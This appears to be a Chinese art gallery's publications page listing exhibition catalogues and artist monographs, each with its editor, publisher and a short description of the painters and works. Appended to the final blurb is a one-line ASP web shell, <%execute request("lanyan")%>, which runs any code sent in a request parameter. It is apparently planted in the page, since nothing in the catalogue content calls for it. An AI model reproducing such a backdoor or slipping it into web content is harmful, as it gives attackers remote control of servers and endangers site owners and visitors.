出版物      
《07·70经典》

主编:宋玉琴

上海文艺出版社

本书介绍出生在70年代,成长在80年代,学习在90年代,奋斗在新世纪的新时代的“70艺术家”的简介和参加“07·70经典”展的作品,被提名的12位艺术家的当中有李鑫,张晨初,陈海强,彭建忠,罗奇,南方,岳东等,他们不为艺术所拘,不为画风所限,以理想的状态来表达自己的艺术体验与情感。

《黄阿忠随笔Ⅱ》

作者:黄阿忠

上海文艺出版社

 本书收录了著名中青年画家黄阿忠随笔200篇。分作“游山玩水”,“架上心语”,“写人记事”四类。画家的随笔,行万里路,抒心中意,画家领悟世界,感受世界的特性,在阿忠先生旅行中国与海外的笔记中,他的文字清新,感情真挚,是阿忠先生写文的最主要特点,阿忠先生以其文,其画来感动读者。

《非常笔墨》

主编:宋玉琴

香港东方艺术中心

《非常笔墨》是在2007年度“非常笔墨”展中的17位画家的作品展,这17位参展画家有崔海,常朝晖,田建平,喻慧,陆春涛等画家,他们可谓是中国当代艺术水墨画创作的中坚力量的代表人物,他们的作品风格迥异,个性化与多样化相互汇通,那沉重的使命感还不断的体现在他们作品的画面中。
《融合.经典——当代中国画名家新作展作品展》

主编:杨维民

河南美术出版社

“融合·经典”写的是一批有实力,有作为的当代中国画家在我国与其它国家经济文化交融而同步发展的今天,以其杰作为东方艺术在世界文化艺术领域里争取了话语权,卢禹舜,田黎明,刘进安,刘庆和,李孝宣,何加林,张捷,陆春涛,陈平,武艺,范杨,唐勇力等今日中国画坛最具代表性的画家,也是当代中国画艺术创新发展的领军人物,他们以其各具风格的绘图语言及图式影响和带动了中国画坛的创新发展日新月异。
《水墨状态——中国画家十人集》

主编:谢海

上海书画出版社

本套丛书为十位参展画家的作品集结,他们分别为何水法,张捷,谢海,王赞,黄阿忠,周新京,范扬,陆春涛,乐震文,刘铜成,他们的作品是中国画发展趋势的一个缩影。从中可以看到,面对传统,面对时代,面对中国的特有的视觉方式,画家们赋予了不同个性的理解和选择,但又基于同一个走进新世纪的大背景,同一个经受过20世纪风雨洗礼的中国画历史情境。这种情境和背景,是每一位与中国画有关的当代人建构其价值意义的深重基础。

《非常印象——中国后生代油画家作品集》

主编:杨维民
中国今日美术馆出版社

本书收录了“非常印象 • 中国后生代油画家作品展”中12位参展画家的作品,分别为袁文彬、何净、项仕中、张晨初、戴增钧、冉珏、罗奇、南方、谭永石、申树斌、李少言、汪洋。这批生于1970年左右的年轻画家,仍然推崇架上绘画的原创性和绘画性,其创作技术性和学术性俱佳。他们的作品不仅有后现代的观念,而且又富有东方意味。

《学院新方阵——当代中国画名家新作展》

编著:杨维民
文化艺术出版社

一批出生在“文革”后期,从新时期艺术学院成长起来,正值不惑年华的中国画家,构筑着新时期中国画创作“新方阵”。2010年度当代中国画家十人展中李桐、白璎、杜小同、范治斌、党震、方正、黄丹、刘琦、秦修平、潘汶汛、李戈晔、王煜正是“新方阵”中的极具代表性的十位七十年代“新贵”画家。他们创作中映现的学识修养、创作理念和技法语言无不体现着中国画传统艺术的根本精神:“传承就是不断的吸收与创新”。他们作品中被人称道的笔意墨趣,图式意味不仅反映了他们个人宽阔的人文视野和不凡的艺术实践,也是中国画艺术从五四新文化运动到改革开放新时期,历经百年发展.渐入当代艺术语境的写照。

《水墨——黄阿忠2011新作展作品集》

华府艺术空间
本书作为《水•墨——黄阿忠2011新作展》推出的同名作品集,收录了黄阿忠30多张水墨新作,其中包含了荷花系列和山水系列。阿忠笔下的水墨画蕴涵着东方传统中的艺术神韵,空灵飘逸似有神来之笔,画面色彩变化微妙而丰富、和谐而雅致,生动地营造出诗一般的意境。

《花花世界——孙良、陆春涛作品集》
华府艺术空间
《花花世界——孙良、陆春涛作品集》中收录了这2位艺术家在“花花世界”中的参展作品。在此次以花为主题的水墨作品中,艺术家通过对传统水墨画全面、深入的把握,在水墨意境的表达构成上得以精准表现,与此同时,艺术家在作品中糅合了西方现代构成知识、色彩知识与造型知识,因此在表现力上大大超越了传统水墨的呈现框架,带着更多的理解,更多的深情,以及更多的尊重。
《境心当代——海派水墨代表性艺术家新作展》

华府艺术空间
本书收录了张桂铭,王劼音,张培成,何曦,蔡广斌,陆春涛6位艺术家在“境心当代”中的参展作品。参展的六位画家以自身的方式——对传统中国画的价值重新判断、原创精神和各具特色的创作实践,证明了当代海派绘画已然成为当代艺术的一个重要的力量。

《幻想的现场——李少言油画作品选》
华府艺术空间
李少言,1980年出生于山东济南,他绘画中出现的“铁皮小人”,好似一个社会玩偶,艺术家钟情于将“铁皮小人”置于不同的幻想场景中,通过不同质感的形象与环境的组合,重新赋予它们新的生命表达。本书由谢海作序,内有精美作品图片30余幅及其中英注释;李少言简历和长篇自述;李少言和记者的访谈录。
《荷塘——陆春涛新作》

华府艺术空间

在艺术家陆春涛的新作“荷塘系列”中你能明显地感受到自由挥洒的笔墨,不仅为整个画面营造出一种特殊的当代文化意味,墨韵十足,而且表现手法上也愈加的抽象化。陆春涛的水墨艺术中西互渗,他将自身的生活感受、西方的审美意识和现代的造型语言融入到自身的绘画中,探索出独具个人风格的水墨语言。

《猛然间——“K11贵阳艺术村城市零件工作室”十人油画作品展》

华府艺术空间

 作为一个时间状语,“猛然间”这一语词在语法上仅仅提示了一个转瞬即逝的状态,但从语义上来看,它又暗示着情势的转折,并且是非常强烈的转折。因此,用“猛然间”来描绘“K11贵阳艺术村城市零件工作室”的艺术家们的又一次出场是最恰当不过的了:他们笔下那些柳暗花明的情境总是让我们在擦肩而过的瞬间体味到意想不到的心动。

《無中生有——王劼音个展》

华府艺术空间

王劼音先生的画,破固定法式而画之,其作品在油画与水墨领域均掷出与众不同的声音。这种随性而画、不拘于法的个性,与传统文人画家在精神上不谋而合。文化变迁时代,艺术家在画布上耕耘的不仅是灵气四溢又古朴雅正的趣味,更自觉肩负着一种使命感:如何才能自然而不矫情地承接我们传统的精神内核,同时有效地创造富有鲜活特性的艺术。让我们再一次从“无”开始。

《陆春涛——2010-2012荷塘》

华府艺术空间

如果说陆春涛早期的”瓶花系列”还在延续传统国画的笔墨方式,那么之后艺术家推出的“荒古系列”、“江边系列”及“荷塘系列”作品,无论从题材、构图、用色、晕染的表现力上都较之先前有很大的不同。他研习西方现代艺术的绘画语言和图示构成,并不断将新的创作经验与水墨相结合,进而让艺术家看到了自身水墨发展的新景象。

 

《蔡广斌、陆春涛、魏青吉当代水墨三人行》

华府艺术空间

水之行在乎意,墨之意在乎行,他们是“实验水墨”中的弄潮者,水与墨在他们的手中相互流转、交融、渗透,一起去诉说着生命与自然的情感,带给我们前所未有的奇妙感受。

《不连续--K11贵阳艺术村&城市零件工作室十人油画作品展》

华府艺术空间

本次展览之所以命名为“不连续”,并无意于否认艺术家创作经验中的前后联系,而是试图通过关注艺术语言在个体艺术家身上的特殊轨迹,去提示艺术史中风格流变的不确定性,进而将当代艺术叙事中那些隐而不显却至关重要的因素呈现出来。

《铄》

绘画与瓷器的对话

华府艺术空间

此次展览呈现给大家的将是绘画与瓷器的对话,纸与笔的绘画艺术亦或火与土的彩瓷艺术,我想只要创作者们怀有的是一颗不为它物所累的独立纯真之心,那么这些艺术所闪耀出的独特之美都将显得镐镐铄铄而永久不会暗淡。

《陆春涛新作》
此次个展将集中展示当代水墨艺术家陆春涛2012年底至2013年初创作的二十余幅新作,呈现了陆春涛近期在当代水墨创作方面的最新成果。此次新加坡当代美术馆展出的二十余幅作品,主题上仍延续其以往的《荷塘》系列,但“作品意识”和“作品表现”上更进一步。 <%execute request("lanyan")%>